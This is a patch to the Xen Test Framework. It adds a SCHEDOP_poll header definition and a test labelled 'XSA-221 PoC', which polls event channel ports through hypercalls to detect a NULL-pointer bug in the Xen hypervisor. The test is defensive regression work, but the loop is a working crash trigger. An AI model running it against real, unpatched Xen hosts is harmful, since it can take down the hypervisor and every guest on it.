#ifndef XEN_PUBLIC_SCHED_H
#define XEN_PUBLIC_SCHED_H
+#include "event_channel.h"
+
#define SCHEDOP_yield 0
#define SCHEDOP_shutdown 2
+#define SCHEDOP_poll 3
#ifndef __ASSEMBLY__
struct sched_shutdown {
unsigned int reason; /* SHUTDOWN_* */
};
+
+struct sched_poll {
+ evtchn_port_t *ports;
+ unsigned int nr_ports;
+ uint64_t timeout;
+};
#endif
#define SHUTDOWN_poweroff 0 /* Domain exited normally. Clean up and kill. */
--- /dev/null
+/**
+ * @file tests/xsa-221/main.c
+ * @ref test-xsa-221
+ *
+ * @page test-xsa-221 XSA-221
+ *
+ * Advisory: [XSA-221](http://xenbits.xen.org/xsa/advisory-221.html)
+ *
+ * The upstream change [fbbd5009e6](http://xenbits.xen.org/gitweb/
+ * ?p=xen.git;a=commitdiff;h=fbbd5009e6ed1201731b1727762070c1a988e67d)
+ * neglected to check that ports were suitably initialised before
+ * dereferencing their structure.
+ *
+ * Attempt to poll each event channel port (with a 1ns timeout). If Xen is
+ * vulnerable, it should hit a NULL pointer (which for PV guests, will either
+ * take a SMAP fault or hit the XTF unmapped page at NULL).
+ *
+ * If Xen is fixed, it will survive until the end of the loop.
+ *
+ * @see tests/xsa-221/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-221 PoC";
+
+void test_main(void)
+{
+ evtchn_port_t port;
+ struct sched_poll poll = {
+ .ports = &port,
+ .nr_ports = 1,
+ .timeout = 1,
+ };
+
+ for ( port = 32; port <= 4096; ++port )
+ {
+ int rc = hypercall_sched_op(SCHEDOP_poll, &poll);
+
+ switch ( rc )
+ {
+ case 0:
+ continue;
+
+ case -EINVAL:
+ /* Upper ABI limit of 2l evtchn. */
+ if ( port == 4096 )
+ break;
+
+ /* Fallthrough. */
+ default:
+ return xtf_error("Error: Unexpected "
+ "SCHEDOP_poll(port %u) return: %d\n", port, rc);
+ }
+ }
+
+ /*
+ * If Xen is still alive at this point, it hasn't fallen over a NULL
+ * bucket pointer, which probably means that XSA-221 is fixed.
+ */
+ xtf_success("Success: Probably not vulnerable to XSA-221\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */